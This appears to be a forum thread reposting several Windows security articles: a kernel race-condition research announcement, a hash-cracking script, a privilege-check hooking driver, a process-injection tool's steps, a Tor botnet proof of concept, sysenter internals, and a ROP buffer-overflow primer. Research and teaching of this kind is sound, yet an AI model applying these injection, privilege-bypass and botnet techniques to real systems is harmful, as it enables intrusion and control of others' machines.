Nytro

[h=2]SyScan 2013, Bochspwn paper and slides[/h](Collaborative post by Mateusz “j00ru” Jurczyk and Gynvael Coldwind) A few days ago we (Gynvael and I) gave a talk during the SyScan’13 conference in the fine city of Singapore, and as promised (though with a slight delay), today we are publishing both the slide deck and a white paper discussing memory access pattern analysis – a technique we recently employed with success to discover around 50 double-fetch vulnerabilities in Windows kernel and related drivers (Elevation of Privileges and Denial of Service class; see Microsoft Security Bulletins MS13-016, MS13-017, MS13-031 and MS13-036 released in February and April this year. Also, stay tuned for more security patches in May and June). In our SyScan presentation, we explained the concept of kernel race conditions in interacting with user-mode memory, gave a brief rundown on how they can be identified by using CPU-level instrumentation of an operating system session, and later focused on how they can be successfully exploited with the help of several generic techniques (on the example of three Windows vulnerabilities discovered by the Bochspwn project). While we only had the time to go through a single case study (the CVE-2013-1254 vulnerability in win32k!SfnINOUTSTYLECHANGE), both slides and the paper contain a detailed analysis of another local privilege escalation: CVE-2013-1278 in nt!ApphelpCacheLookupEntry, and an amusing case of a double fetch behavior (it is not clear if it can be classified as a bug) found in the default kernel implementation of the standard nt!memcmp function, as a bonus. We hope you will enjoy both the slides and whitepaper – considering the amount of time we have dedicated to the research, we would really appreciate your feedback. Download: Slides: “Bochspwn: Exploiting Kernel Race Conditions Found via Memory Access Patterns” (3.1MB, PDF) Paper: “Identifying and Exploiting Windows Kernel Race Conditions via Memory Access Patterns” (1.0MB, PDF) Please note that we are not releasing the Bochspwn project at this time – we are planning to open-source it later this year. On the other hand, the demo videos for the CVE-2013-1254 and CVE-2013-1278 vulnerabilities shown during the talk are now available online: The SyScan event itself was really fun – the speaker line-up was one of the best ones we have seen this year, ensuring high technical quality of the talks (which they were in fact quite inspiring), with nothing lacking on the organizational side. We were also positively surprised by the city-state of Singapore – it’s really a modern, clean and friendly place! We had a great time there and hope to visit it again soon Sursa: SyScan 2013, Bochspwn paper and slides | j00ru//vx tech blog

[h=2]FindMyHash[/h] Often in penetration tests we discover password hashes. In this situation every penetration tester use the password cracking tool of his convenience ( like john the ripper) in order to crack the hashes offline and to escalate privileges. The sooner that the hash cracks the better for the results of the engagement as the penetration tester will have more time to search on the system for other important things while he has a valid password. For that reason a script created that allows the penetration tester to crack hashes using free online services or even Google if the hash is common. The usage of the script is very simple and it can be seen below: FindMyHash Script in action This is definitely something that every penetration tester should check before he starts the process of cracking a hash. Author: https://twitter.com/laXmarcaellugar Email: bloglaxmarcaellugar@gmail.com Script: findmyhash - Python script to crack hashes using online services - Google Project Hosting Sursa: FindMyHash | Penetration Testing Lab

Visual DuxDebugger is a 64-bit debugger disassembler for Windows, especially useful when source code is unavailable. The user interface is very intuitive so it makes very simple any task in reverse engineering, you can edit code, registers, and memory. Visual DuxDebugger provides wide information about the process being debugged, showing all loaded modules with all exported functions, call stack, threads and much more. The main difference with others debuggers is that Visual DuxDebugger can debug child-processes and multiple-processes. Software Reverse Engineering is commonly used: · As a learning tool to understand undocumented APIs. · As a way to make new compatible products. · For making software interoperate more effectively. · To bridge different operating systems or databases. · To analyze possible spyware / malware. · To uncover and exploit vulnerabilities. · To audit software. · To fix complex bugs. · For litigation support. Download: http://www.duxcore.com/index.php/prod/visual-duxdebugger/overview

[h=1][Kernel Hack] Hooking SeSinglePrivilegeCheck to bypass privilege checks[/h] [h=3]zwclose7[/h] Recently, I written a driver that hook the SeSinglePrivilege function. SeSinglePrivilegeCheck is a kernel mode function used to perform privilege checks. Some functions, such as NtLoadDriver and NtShutdownSystem, use the SeSinglePrivilegeCheck function to check for required privilege. For example, NtLoadDriver will use SeSinglePrivilegeCheck function to check for the SeLoadDriverPrivilege, and will return STATUS_PRIVILEGE_NOT_HELD if the caller do not have the SeLoadDriverPrivilege enabled. The NtShutdownSystem function also use SeSinglePrivilegeCheck function to check for SeShutdownPrivilege, and will return STATUS_PRIVILEGE_NOT_HELD if the caller do not have the SeShutdownPrivilege. Privilege checks are only performed if the caller is from user mode. If the caller is from kernel mode, the system will not perform the privilege checks. My hook driver will hook the SeSinglePrivilegeCheck function to cause the function to always return TRUE to the caller. By hooking the SeSinglePrivilegeCheck function, all privilege checks will be bypassed. In the following video, I will test my hook driver on a virtual machine with Windows XP installed. I will use the WinAPIOverride to call the NtShutdownSystem function in the explorer.exe process. The first call failed with STATUS_PRIVILEGE_NOT_HELD because the explorer.exe process do not have the SeShutdownPrivilege enabled. After loading the hook driver, the SeSinglePrivilegeCheck function will be hooked, and all privilege checks will be bypassed. The second NtShutdownSystem call succeed even the caller do not have the SeShutdownPrivilege enabled because the privilege check has been bypassed, and the NtShutdownSystem function successfully shutted down the virtual machine. Download src: http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3889 Sursa: [Kernel Hack] Hooking SeSinglePrivilegeCheck to bypass privilege checks - rohitab.com - Forums

[h=1]Calling ShellExecute in codecave[/h][h=3]zwclose7[/h]This program inject a codecave that call ShellExecute function to run executable files or open websites into another process. 1) Parse the PID and file name from command line. 2) Enable SeDebugPrivilege using RtlAdjustPrivilege function. 3) Open the target process handle using NtOpenProcess function. 4) Allocate memory in the target process using VirtualAllocEx function. 5) Write the codecave into the target process using NtWriteVirtualMemory function. 6) Create a remote thread in the target process to execute the codecave using RtlCreateUserThread function. 7) Wait for the remote thread to terminate. 8) The codecave call LoadLibrary function to load shell32.dll, and then call GetProcAddress function to get the address of the ShellExecute function. 9) The codecave call ShellExecute function to run the executable file or open a new website. 10) After ShellExecute returns, the codecave call FreeLibrary function to unload shell32.dll. 11) After FreeLibrary returns, the thread terminates. 12) Close the thread handle using NtClose function. 13) Free the allocated memory using VirtualFreeEx function. 14) Close the process handle using NtClose function. 15) Exit Native API functions used: 1) RtlAdjustPrivilege 2) NtOpenProcess 3) NtWriteVirtualMemory 4) RtlCreateUserThread 5) NtWaitForSingleObject 6) NtClose This video show you how the injector works: http://www.youtube.com/watch?v=vQ0FP2uyJHI&feature=player_embedded Download src: http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3887 Sursa: Calling ShellExecute in codecave - rohitab.com - Forums

Tor Based Botnets Description: In this video Suriya Prakash shows us a demo on the TOR Based botnet. It is all about POC of TOR botnet. You will learn how to configure and run the TOR based botnet. Blog :- Tor Based Botnets @Defcon Bangalore (DC9180) | Suriya's Blog Security researchers have uncovered a new breed of botnets which rely on the functionality offered by the Tor (The Onion Router) anonymity network. A few days ago, at the DefCon Bangalore security conference – 17-year-old researcher Suriya Prakash presented his findings on how botnets are starting to rely more and more on Tor to hide their traces. “They work like all other botnets, but are hidden behind the TOR network and run as a hidden service with .onion domains (many sites like WikiLeaks have mirror sites in the TOR network, or search engines like duckduckgo, and many other illegal sites that cannot exist in the public internet),” Suriya told Softpedia. “You can set it up just like a normal web server but bind it to the port from which TOR hidden service is running and hence your botnet will run behind the TOR network and it will not be possible to trace the C&C server,” he added. “The bots themselves should have an instance of TOR (because only computers in the TOR network can communicate with hidden services servers) and will communicate over the TOR network to send data and receive commands from the server.” The expert highlighted the fact that such botnets could not be disrupted such as the classic ones by revoking domains, banning IP addresses or by requesting the host to take down the website. News Source : - Researchers Find Botnet C&C Servers Hidden in Tor Anonymity Network Sursa: Tor Based Botnets

[h=1]The Sysenter Instruction Internals[/h]Dejan Lukan May 16, 2013 Introduction In the previous article we’ve seen that whether we’re using the int 0x2e interrupt or sysenter instruction, the same method in kernel is being used. We also identified that the KiSystemService is being called in both cases. In this article, we’ll take a look at the details of how this actually happens. Whenever we use the 0x2e interrupt or a sysenter instruction, the system service number is being used to determine which system call will be invoked. We’ve already seen that the system service number is being passed in an EAX register, which is a 32-bit register on IA-32 machines. However, it isn’t immediately clear how that value is later being used. The first thing that comes to mind is that it’s just an index into some table, which holds the pointers to system routines that will be invoked. This is pretty close to how the value is actually being used, but we should probably mention that 32-bits are not used as an index, because we would have to have a 4GB-big table of pointers or a multiple level table, which is impractical and isn’t needed. The system service number is comprised of the following parts: bits 0-11: the number of the system service to call bits 12-13: used service descriptor table bits 14-31: not used We can see that only the lower 12-bits are used as an index into the table, which is 4096 bytes in size. But there are also 2 bits (from 12-13) that are used to select the appropriate service descriptor table, which means that we can have at most 4 service descriptor tables. In Windows, the SSDT (System Service Dispatch Table) is a table that points to kernel functions that are handled in ntoskrnl.exe. The ntoskrnl.exe is responsible for various tasks, like hardware virtualization, process and memory management, cache managing, process scheduling, etc. [5] In Windows systems, only two tables are used and they are named KeServiceDescriptorTable and KeServiceDescriptorTableShadow. On the picture below, we can see the address and the first element of both tables in memory. Both of these tables contain SST (System Service Tables) structures that have the following elements (summarized from [4]): ServiceTable: pointer to the SSDT array of addresses that point to kernel functions CounterTable: not used ServiceLimit: number of elements in SSDT array ArgumentTable: pointer to the array of arguments SSPT (System Service Parameter Table) The picture below shows the structures of SSTs in both tables: On the picture above, we can see the first SST of the KeServiceDescriptorTable, which is 16 bytes long. This is the SST that points to the SSDT that contains the Windows core functions. The values of the SST are as follows: ServiceTable: 80501b8c (pointer to KiServiceTable) CounterTable: not used ServiceLimit: 0x11c (hex) = 286 (dec) ArgumentTable: 80502000 (pointer to KiArgumentTable) The KeServiceDescriptorTableShadow contains two SSTs which occupy the first 32 bytes. We can see that the first SST is the same as the one present in the KeServiceDescriptorTable table, while the second is used to point to the functions in the win32k.sys kernel driver, which takes care of Windows graphical user interface. Let’s present the fields of this SST: ServiceTable: bf99e900 (pointer to W32pServiceTable) CounterTable: not used ServiceLimit: 0x29b (hex) = 667 (dec) ArgumentTable: bf99f610 (pointer to W32pArgumentTable) Let’s summarize what we’ve just done. The KeServiceDescriptorTable table is referenced if the 12-13 bits in the system service number is set to 0×00, while the KeServiceDescriptorTableShadow is referenced if the 12-13 bits are set to 0×01. The other two values 0×10 and 0×11 are currently not being used. This means that the value in the EAX register, which is the system service number, can hold the following values (presenting the 16-bit values): 0000xxxx xxxxxxxx: used by KeServiceDescriptorTable, where the x’s can be 0 or 1, which further implies that the first table is used if the system service numbers are from 0×0 – 0xFFF. 0001yyyy yyyyyyyy: used by KeServiceDescriptorTableShadow, where y’s can be 0 or 1, which further implies that the second table is used if the system service numbers are from 0×1000 – 0x1FFF. This means that the system service numbers in EAX register can only be in the range of 0×0000 – 0x1FFFF, and all other values are invalid. To dump the Windows core functions from the KiServiceTable table, we can use the Windbg “dps KiServiceTable” command as follows (note that only the first part of the functions is presented): Let’s also dump the first part of the functions contained in the W32pServiceTable table. This can be seen below, where we used the “dps W32pServiceTable” command to display the functions: Did you notice that the KiServiceTable contains core Windows functions, while the W32pServiceTable table contains the graphical functions as we already mentioned? The above outputs confirm that. Presenting the Example Below we can see the example we’ll be using in this part of the article. The example is simply calling the ZwQuerySystemInformation function directly from the ntdll.dll library. We can’t call the function directly, which is why we must first load the ntdll.dll library and then get the address of the ZwQuerySystemInformation function. We get back the address in memory where the function is located, so we must apply the function prototype in order to be able to call the function. What the program actually does is detect whether the system debugger is currently debugging the operating system or not. #include "stdafx.h" #include <stdio.h> #include <windows.h> #include <Winternl.h> int _tmain(int argc, _TCHAR* argv[]) { __asm { int 3 } typedef long NTSTATUS; #define STATUS_SUCCESS ((NTSTATUS)0L) HANDLE hProcess = GetCurrentProcess(); typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { BOOLEAN DebuggerEnabled; BOOLEAN DebuggerNotPresent; } SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; enum SYSTEM_INFORMATION_CLASS { SystemKernelDebuggerInformation = 35 }; typedef NTSTATUS (__stdcall *ZW_QUERY_SYSTEM_INFORMATION)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); ZW_QUERY_SYSTEM_INFORMATION ZwQuerySystemInformation; SYSTEM_KERNEL_DEBUGGER_INFORMATION Info; /* load the ntdll.dll */ HMODULE hModule = LoadLibrary(_T("ntdll.dll")); ZwQuerySystemInformation = (ZW_QUERY_SYSTEM_INFORMATION)GetProcAddress(hModule, "ZwQuerySystemInformation"); if(ZwQuerySystemInformation == NULL) { printf("Error: could not find the function ZwQuerySystemInformation in library ntdll.dll."); exit(-1); } printf("ZwQuerySystemInformation is located at 0x%08x in ntdll.dll.\n", (unsigned int)ZwQuerySystemInformation); if (STATUS_SUCCESS == ZwQuerySystemInformation(SystemKernelDebuggerInformation, &Info, sizeof(Info), NULL)) { if (Info.DebuggerEnabled && !Info.DebuggerNotPresent) { printf("System debugger is present."); } else { printf("System debugger is not present."); } } /* wait */ getchar(); return 0; } While running the program under Windbg kernel debugger, we’ll be presented with the following output from the program: We can see that the program correctly identified that the system debugger is present. The picture below presents the disassembled instruction of the ZwQuerySystemInformation function: We can see that the ZwQuerySystemInformation function implementation in ntdll.dll library is just a routine that calls into the kernel and doesn’t actually provide the service itself. In the code above, we’re storing the 0xAD hexadecimal number into the EAX register, the system service number we’ve been talking about in the article. Since the 0xAD number is in range of 0×000-0xFFF, we’re effectively using the KeServiceDescriptorTable table to get all the information that we need to call the kernel function. Let’s first take a look at the address that is loaded into the EDX register: VIEW RCE COURSE In the code above, we’re reading the address 0x7c90e510 at the memory of the EDX register and calling it. The 0x7c90e510 address is the address of the KiFastSystemCall function as we can see in the output below: The KiFastSystemCall is executing the sysenter instruction, which should call the appropriate system function in the kernel. We already know that when we execute the sysenter instruction, the KiFastCallEntry function is called, which is why we need to set a breakpoint on that function as follows: After that we can run the program with the g command and the function will be hit as shown below: Let’s disassemble the whole KiFastCallEntry function to figure out what the function does. The disassembled instructions can be seen below: kd> u KiFastCallEntry l100 nt!KiFastCallEntry: 8053d600 b923000000 mov ecx,23h 8053d605 6a30 push 30h 8053d607 0fa1 pop fs 8053d609 8ed9 mov ds,cx 8053d60b 8ec1 mov es,cx 8053d60d 8b0d40f0dfff mov ecx,dword ptr ds:[0FFDFF040h] 8053d613 8b6104 mov esp,dword ptr [ecx+4] 8053d616 6a23 push 23h 8053d618 52 push edx 8053d619 9c pushfd 8053d61a 6a02 push 2 8053d61c 83c208 add edx,8 8053d61f 9d popfd 8053d620 804c240102 or byte ptr [esp+1],2 8053d625 6a1b push 1Bh 8053d627 ff350403dfff push dword ptr ds:[0FFDF0304h] 8053d62d 6a00 push 0 8053d62f 55 push ebp 8053d630 53 push ebx 8053d631 56 push esi 8053d632 57 push edi 8053d633 8b1d1cf0dfff mov ebx,dword ptr ds:[0FFDFF01Ch] 8053d639 6a3b push 3Bh 8053d63b 8bb324010000 mov esi,dword ptr [ebx+124h] 8053d641 ff33 push dword ptr [ebx] 8053d643 c703ffffffff mov dword ptr [ebx],0FFFFFFFFh 8053d649 8b6e18 mov ebp,dword ptr [esi+18h] 8053d64c 6a01 push 1 8053d64e 83ec48 sub esp,48h 8053d651 81ed9c020000 sub ebp,29Ch 8053d657 c6864001000001 mov byte ptr [esi+140h],1 8053d65e 3bec cmp ebp,esp 8053d660 759a jne nt!KiFastCallEntry2+0x47 (8053d5fc) 8053d662 83652c00 and dword ptr [ebp+2Ch],0 8053d666 462cff test byte ptr [esi+2Ch],0FFh 8053d66a 89ae34010000 mov dword ptr [esi+134h],ebp 8053d670 0f854afeffff jne nt!Dr_FastCallDrSave (8053d4c0) 8053d676 8b5d60 mov ebx,dword ptr [ebp+60h] 8053d679 8b7d68 mov edi,dword ptr [ebp+68h] 8053d67c 89550c mov dword ptr [ebp+0Ch],edx 8053d67f c74508000ddbba mov dword ptr [ebp+8],0BADB0D00h 8053d686 895d00 mov dword ptr [ebp],ebx 8053d689 897d04 mov dword ptr [ebp+4],edi 8053d68c fb sti 8053d68d 8bf8 mov edi,eax 8053d68f c1ef08 shr edi,8 8053d692 83e730 and edi,30h 8053d695 8bcf mov ecx,edi 8053d697 03bee0000000 add edi,dword ptr [esi+0E0h] 8053d69d 8bd8 mov ebx,eax 8053d69f 25ff0f0000 and eax,0FFFh 8053d6a4 3b4708 cmp eax,dword ptr [edi+8] 8053d6a7 0f8345fdffff jae nt!KiBBTUnexpectedRange (8053d3f2) 8053d6ad 83f910 cmp ecx,10h 8053d6b0 751a jne nt!KiFastCallEntry+0xcc (8053d6cc) 8053d6b2 8b0d18f0dfff mov ecx,dword ptr ds:[0FFDFF018h] 8053d6b8 33db xor ebx,ebx 8053d6ba 0b99700f0000 or ebx,dword ptr [ecx+0F70h] 8053d6c0 740a je nt!KiFastCallEntry+0xcc (8053d6cc) 8053d6c2 52 push edx 8053d6c3 50 push eax 8053d6c4 ff15e4305580 call dword ptr [nt!KeGdiFlushUserBatch (805530e4)] 8053d6ca 58 pop eax 8053d6cb 5a pop edx 8053d6cc ff0538f6dfff inc dword ptr ds:[0FFDFF638h] 8053d6d2 8bf2 mov esi,edx 8053d6d4 8b5f0c mov ebx,dword ptr [edi+0Ch] 8053d6d7 33c9 xor ecx,ecx 8053d6d9 8a0c18 mov cl,byte ptr [eax+ebx] 8053d6dc 8b3f mov edi,dword ptr [edi] 8053d6de 8b1c87 mov ebx,dword ptr [edi+eax*4] 8053d6e1 2be1 sub esp,ecx 8053d6e3 c1e902 shr ecx,2 8053d6e6 8bfc mov edi,esp 8053d6e8 3b35d48a5580 cmp esi,dword ptr [nt!MmUserProbeAddress (80558ad4)] 8053d6ee 0f83a8010000 jae nt!KiSystemCallExit2+0x9f (8053d89c) 8053d6f4 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 8053d6f6 ffd3 call ebx 8053d6f8 8be5 mov esp,ebp 8053d6fa 8b0d24f1dfff mov ecx,dword ptr ds:[0FFDFF124h] 8053d700 8b553c mov edx,dword ptr [ebp+3Ch] 8053d703 899134010000 mov dword ptr [ecx+134h],edx Let’s take a look at the first instruction in the KiFastCallEntry function where the value in register EAX is being used, which means that the system service number is being used to do something. Those instructions can be seen below: 8053d68d 8bf8 mov edi,eax 8053d68f c1ef08 shr edi,8 8053d692 83e730 and edi,30h 8053d695 8bcf mov ecx,edi At first, those instructions may seem weird, but they soon start to make a lot of sense. All of the operations can be seen on the picture below. We start with a whole system service number that is stored in the EAX register and then moved to the EDI register. This can be seen on the first part of the picture where the lower 12 bits is the actual system service number and the middle two bits determine the SSDT table to be used, while the upper 18 bits are not used. The shr instruction moves all the bits in the EDI register to the right by 8. This is seen on the middle part of the picture where the lower 4 bits are used to represent the now-corrupted system service number, and the middle two bits are still the SSDT number. The upper 26 bits are not used. The next and instruction nulls the lower four bits, thus leaving only the middle two bits unaltered. At the end of the above code, the SSDT number is stored in the 4-5 bit of the ECX register. Since we’re passing the system service number 0xAD in the EAX register, we should really set a conditional breakpoint in WinDbg, because otherwise we won’t be able to manage the execution the way we want. This is because the KiFastCallEntry function is called so many times by the kernel itself that it doesn’t make sense to manually check whether the EAX register contains the right system service number. We should set the conditional breakpoint on the 0x8053d68d address and check whether the value in the EAX register is 0xAD (our system service number). We can set the conditional breakpoint like this: kd> bp 8053d68d "j @eax = 0x000000ad '';'gc'" kd> bl 0 e 8053d68d 0001 (0001) nt!KiFastCallEntry+0x8d "j @eax = 0x000000ad '';'gc'" After that we should start the program normally and observe what happens. The execution should take considerably more time, since WinDbg must compare the value in the EAX register every time it passed that code point, which happens a lot. Let’s take a look at an example at a point where it hits the breakpoint, which means that the value in the EAX register should be set to 0xAD: kd> g nt!KiFastCallEntry+0x8d: 8053d6dd 8bf8 mov edi,eax kd> r eax, ecx, edi eax=000000ad ecx=80042000 edi=7c90e514 kd> p nt!KiFastCallEntry+0x8f: 8053d6df c1ef08 shr edi,8 kd> r eax, ecx, edi eax=000000ad ecx=80042000 edi=000000ad kd> p nt!KiFastCallEntry+0x92: 8053d6e2 83e730 and edi,30h kd> r eax, ecx, edi eax=000000ad ecx=80042000 edi=00000000 kd> p nt!KiFastCallEntry+0x95: 8053d6e5 8bcf mov ecx,edi The first number in EAX register is 0xad (10101101), which we’re shifting to the right for 8 bits. This makes a number 0×0, which is then later AND-ed with the 0×30. The transformations result in the number 0×000000. Since we’ve just calculated the value stored in the ECX register, it’s advisable that we continue the code observation by looking at the instructions that use the value in the ECX register. We won’t do that now since the article might get too long, but you get the picture. Conclusion In this article we’ve seen the internals of what happens when the sysenter instruction is called. We could go a lot deeper, but I didn’t want to make the article too long. The most important things to remember are how the system service number is calculated and how the service is called. References: [1] Shifting yourself to space, accessible at sysenter | Shifting yourself to space. [2] Manual inspection of service dispatch table (SSDT) for hook detection, accessible at DDK / Windbg / IDA Pro: Manual inspection of service dispatch table (SSDT) for hook detection. [3] Hunting rootkits with Windbg, accessible at www.reconstructer.org/…/Hunting%20rootkits%20with%20Windbg.pdf. [4] BlackEnergy Version 2 Rootkit Analysis – SecuraBit, accessible at www.securabit.com/wp…/Rootkit-Analysis-Hiding-SSDT-Hooks1.pdf. [5] ntoskrnl.exe, accessible at ntoskrnl.exe - Wikipedia, the free encyclopedia. Sursa: InfoSec Institute Resources – The Sysenter Instruction Internals

[h=1]Code Injection Techniques[/h]ViperEye May 02, 2013 DLL Injection using QueueUserAPC We begin by creating a process using CreateProcess, which is the where we are trying to inject the code into: PROCESS_INFORMATION pi; STARTUPINFOA Startup; ZeroMemory(&Startup, sizeof(Startup)); ZeroMemory(?, sizeof(pi)); CreateProcessA("C:\\Windows\\notepad.exe" NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &Startup, ?); Once the process is created, OpenProcess is called with the following arguments: OpenProcess(PROCESS_ALL_ACCESS,FALSE, /*ProcessId*/ 348); [TABLE] [TR] [TD=class: gutter][/TD] [TD=class: code][/TD] [/TR] [/TABLE] Once the process is opened with all access, memory can be allocated to it using VirtualAllocEx(). ARTICOL COMPLET: http://resources.infosecinstitute.com/code-injection-techniques/

ropasaurusrex: a primer on return-oriented programming One of the worst feelings when playing a capture-the-flag challenge is the hindsight problem. You spend a few hours on a level—nothing like the amount of time I spent on cnot, not by a fraction—and realize that it was actually pretty easy. But also a brainfuck. That's what ROP's all about, after all! Anyway, even though I spent a lot of time working on the wrong solution (specifically, I didn't think to bypass ASLR for quite awhile), the process we took of completing the level first without, then with ASLR, is actually a good way to show it, so I'll take the same route on this post. Before I say anything else, I have to thank HikingPete for being my wingman on this one. Thanks to him, we solved this puzzle much more quickly and, for a short time, were in 3rd place worldwide! Coincidentally, I've been meaning to write a post on ROP for some time now. I even wrote a vulnerable demo program that I was going to base this on! But, since PlaidCTF gave us this challenge, I thought I'd talk about it instead! This isn't just a writeup, this is designed to be a fairly in-depth primer on return-oriented programming! If you're more interested in the process of solving a CTF level, have a look at my writeup of cnot. What the heck is ROP? ROP—return-oriented programming—is a modern name for a classic exploit called "return into libc". The idea is that you found an overflow or other type of vulnerability in a program that lets you take control, but you have no reliable way get your code into executable memory (DEP, or data execution prevention, means that you can't run code from anywhere you want anymore). With ROP, you can pick and choose pieces of code that are already in sections executable memory and followed by a 'return'. Sometimes those pieces are simple, and sometimes they're complicated. In this exercise, we only need the simple stuff, thankfully! But, we're getting ahead of ourselves. Let's first learn a little more about the stack! I'm not going to spend a ton of time explaining the stack, so if this is unclear, please check out my assembly tutorial. The stack I'm sure you've heard of the stack before. Stack overflows? Smashing the stack? But what's it actually mean? If you already know, feel free to treat this as a quick primer, or to just skip right to the next section. Up to you! The simple idea is, let's say function A() calls function B() with two parameters, 1 and 2. Then B() calls C() with two parameters, 3 and 4. When you're in C(), the stack looks like this: +----------------------+ | ... | (higher addresses) +----------------------+ +----------------------+ <-- start of 'A's stack frame | [return address] | <-- address of whatever called 'A' +----------------------+ | [frame pointer] | +----------------------+ | [local variables] | +----------------------+ +----------------------+ <-- start of 'B's stack frame | 2 (parameter)| +----------------------+ | 1 (parameter)| +----------------------+ | [return address] | <-- the address that 'B' returns to +----------------------+ | [frame pointer] | +----------------------+ | [local variables] | +----------------------+ +----------------------+ <-- start of 'C's stack frame | 4 (parameter)| +----------------------+ | 3 (parameter)| +----------------------+ | [return address] | <-- the address that 'C' returns to +----------------------+ +----------------------+ | ... | (lower addresses) +----------------------+ This is quite a mouthful (eyeful?) if you don't live and breathe all the time at this depth, so let me explain a bit. Every time you call a function, a new "stack frame" is built. A "frame" is simply some memory that the function allocates for itself on the stack. In fact, it doesn't even allocate it, it just adds stuff to the end and updates the esp register so any functions it calls know where its own stack frame needs to start (esp, the stack pointer, is basically a variable). This stack frame holds the context for the current function, and lets you easily a) build frames for new functions being called, and return to previous frames (i.e., return from functions). esp (the stack pointer) moves up and down, but always points to the top of the stack (the lowest address). Have you ever wondered where a function's local variables go when you call another function (or, better yet, you call the same function again recursively)? Of course not! But if you did, now you'd know: they wind up in an old stack frame that we return to later! Now, let's look at what's stored on the stack, in the order it gets pushed (note that, confusingly, you can draw a stack either way; in this document, the stack grows from top to bottom, so the older/callers are on top and the newer/callees are on the bottom): Parameters: The parameters that were passed into the function by the caller—these are extremely important with ROP. Return address: Every function needs to know where to go when it's done. When you call a function, the address of the instruction right after the call is pushed onto the stack prior to entering the new function. When you return, the address is popped off the stack and is jumped to. This is extremely important with ROP. Saved frame pointer: Let's totally ignore this. Seriously. It's just something that compilers typically do, except when they don't, and we won't speak of it again. Local variables: A function can allocate as much memory as it needs (within reason) to store local variables. They go here. They don't matter at all for ROP and can be safely ignored. So, to summarize: when a function is called, parameters are pushed onto the stack, followed by the return address. When the function returns, it grabs the return address off the stack and jumps to it. The parameters pushed onto the stack are removed by the calling function, except when they're not. We're going to assume the caller cleans up, that is, the function doesn't clean up after itself, since that's is how it works in this challenge (and most of the time on Linux). Heaven, hell, and stack frames The main thing you have to understand to know ROP is this: a function's entire universe is its stack frame. The stack is its god, the parameters are its commandments, local variables are its sins, the saved frame pointer is its bible, and the return address is its heaven (okay, probably hell). It's all right there in the Book of Intel, chapter 3, verses 19 - 26 (note: it isn't actually, don't bother looking). Let's say you call the sleep() function, and get to the first line; its stack frame is going to look like this: ... <-- don't know, don't care territory (higher addresses) +----------------------+ | [seconds] | +----------------------+ | [return address] | <-- esp points here +----------------------+ ... <-- not allocated, don't care territory (lower addresses) When sleep() starts, this stack frame is all it sees. It can save a frame pointer (crap, I mentioned it twice since I promised not to; I swear I won't mention it again) and make room for local variables by subtracting the number of bytes it wants from esp (ie, making esp point to a lower address). It can call other functions, which create new frames under esp. It can do many different things; what matters is that, when it sleep() starts, the stack frame makes up its entire world. When sleep() returns, it winds up looking like this: ... <-- don't know, don't care territory (higher addresses) +----------------------+ | [seconds] | <-- esp points here +----------------------+ | [old return address] | <-- not allocated, don't care territory starts here now +----------------------+ ... (lower addresses) And, of course, the caller, after sleep() returns, will remove "seconds" from the stack by adding 4 to esp (later on, we'll talk about how we have to use pop/pop/ret constructs to do the same thing). In a properly working system, this is how life works. That's a safe assumption. The "seconds" value would only be on the stack if it was pushed, and the return address is going to point to the place it was called from. Duh. How else would it get there? Controlling the stack ...well, since you asked, let me tell you. We've all heard of a "stack overflow", which involves overwriting a variable on the stack. What's that mean? Well, let's say we have a frame that looks like this: ... <-- don't know, don't care territory (higher addresses) +----------------------+ | [seconds] | +----------------------+ | [return address] | <-- esp points here +----------------------+ | char buf[16] | | | | | | | +----------------------+ ... (lower addresses) The variable buf is 16 bytes long. What happens if a program tries to write to the 17th byte of buf (i.e., buf[16])? Well, it writes to the last byte—little endian—of the return address. The 18th byte writes to the second-last byte of the return address, and so on. Therefore, we can change the return address to point to anywhere we want. Anywhere we want. So when the function returns, where's it go? Well, it thinks it's going to where it's supposed to go—in a perfect world, it would be—but nope! In this case, it's going to wherever the attacker wants it to. If the attacker says to jump to , it jumps to 0 and crashes. If the attacker says to go to 0x41414141 ("AAAA"), it jumps there and probably crashes. If the attacker says to jump to the stack... well, that's where it gets more complicated... DEP Traditionally, an attacker would change the return address to point to the stack, since the attacker already has the ability to put code on the stack (after all, code is just a bunch of bytes!). But, being that it was such a common and easy way to exploit systems, those assholes at OS companies (just kidding, I love you guys ) put a stop to it by introducing data execution prevention, or DEP. On any DEP-enabled system, you can no longer run code on the stack—or, more generally, anywhere an attacker can write—instead, it crashes. So how the hell do I run code without being allowed to run code!? Well, we're going to get to that. But first, let's look at the vulnerability that the challenge uses! The vulnerability Here's the vulnerable function, fresh from IDA: 1 .text:080483F4vulnerable_function proc near 2 .text:080483F4 3 .text:080483F4buf = byte ptr -88h 4 .text:080483F4 5 .text:080483F4 push ebp 6 .text:080483F5 mov ebp, esp 7 .text:080483F7 sub esp, 98h 8 .text:080483FD mov dword ptr [esp+8], 100h ; nbytes 9 .text:08048405 lea eax, [ebp+buf] 10 .text:0804840B mov [esp+4], eax ; buf 11 .text:0804840F mov dword ptr [esp], 0 ; fd 12 .text:08048416 call _read 13 .text:0804841B leave 14 .text:0804841C retn 15 .text:0804841Cvulnerable_function endp Now, if you don't know assembly, this might look daunting. But, in fact, it's simple. Here's the equivalent C: 1 ssize_t __cdecl vulnerable_function() 2 { 3 char buf[136]; 4 return read(0, buf, 256); 5 } ARTICOL COMPLET: http://www.skullsecurity.org/blog/2013/ropasaurusrex-a-primer-on-return-oriented-programming

